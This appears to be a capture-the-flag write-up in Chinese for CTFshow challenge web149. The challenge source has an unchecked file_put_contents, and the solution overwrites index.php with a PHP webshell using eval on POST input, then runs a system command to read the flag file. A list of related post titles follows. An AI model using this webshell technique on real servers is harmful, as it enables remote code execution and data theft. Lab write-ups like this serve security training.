CTFshow php特性 web149
目录
- 源码
- 思路
- 题解
- 总结
源码
<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-19 04:34:40*/error_reporting(0);
highlight_file(__FILE__);$files = scandir('./');
foreach($files as $file) {if(is_file($file)){if ($file !== "index.php") {unlink($file);}}
}file_put_contents($_GET['ctf'], $_POST['show']);$files = scandir('./');
foreach($files as $file) {if(is_file($file)){if ($file !== "index.php") {unlink($file);}}
}
思路
file_put_contents能把字符串输入到文件中,能创建文件也能覆盖掉文件,不是index.php的文件都会被删除,要么条件竞争用多线程趁创建的文件没有被删,访问;要么直接改index.php本身,以为题库是限制访问速率的,所以只能选择后者
题解
get:?ctf=index.php
post:?show=<?php phpinfo();eval($_POST[0]);?>
再访问 看到phpinfo()说明覆盖成功 直接post
0=system("tac /c*");
拿到flag
总结
水题
CTFshow php特性 web149相关推荐
- ctfshow php特性 下
目录 web113 web114 web115 web123(php解析特性) web125 web126 web127(php解析特性) web128 web129 web130 web131 we ...
- ctfshow php特性(89——150plus)
web89 这题的逻辑是如果存在$_GET['num'],则用正则表达式匹配$num中的值,如果成功匹配则程序终止于"no no no",否则进行下一步,如果intval($num ...
- ctfshow php特性 web89-web115 web123-150wp
php特性 参考博客仍然是南神博客 文章目录 php特性 web89 web90 web91 web92 web93 web94 web95 web96 web97 web98 web99 web10 ...
- CTFshow——PHP特性(下)
目录: web132--逻辑运算符的优先级 web133--curl -F web134--php变量覆盖 web135-- >xx.txt 写文件 web136-- tee命令 web137- ...
- CTFshow php特性 web150plus
目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # ...
- CTFshow php特性 web150
目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # ...
- CTFshow php特性 web147
目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # ...
- CTFshow php特性 web140
目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # ...
- CTFshow php特性 web138
目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # ...
最新文章
- 网络硬盘与传统资源共享的不同
- javascript学习笔记2
- elasticsearch 5.x Delete By Query API(根据条件删除)
- 什么是Cadence call
- 在 react 里写 vue3 ? 还写了自定义 hooks和 Hoc 构建了响应式 !
- C++中类的拷贝控制
- Java获取登录用户IP地址
- 函授计算机大专自我鉴定100字,函授大学毕业自我鉴定100字(精选5篇)
- Spring Boot整合MongoDB实现增删改查
- hadoop入门简介
- ReactNative项目xcode打包运行报错整理
- vc++.net 移植到 C#中的几点注意事项
- java 拖放文字_Java实现拖放效果
- lnmp mysql 命令_LNMP状态管理命令
- Hadoop组件及功能
- matlab在mac中好用吗,Matlab Mac版上手
- 如何设计一张合格的日志表
- K近邻算法(k-Nearest Neighbour, KNN)
- 塔米狗上的达人名片有什么作用?
- python中保留字pass_Python包含的保留字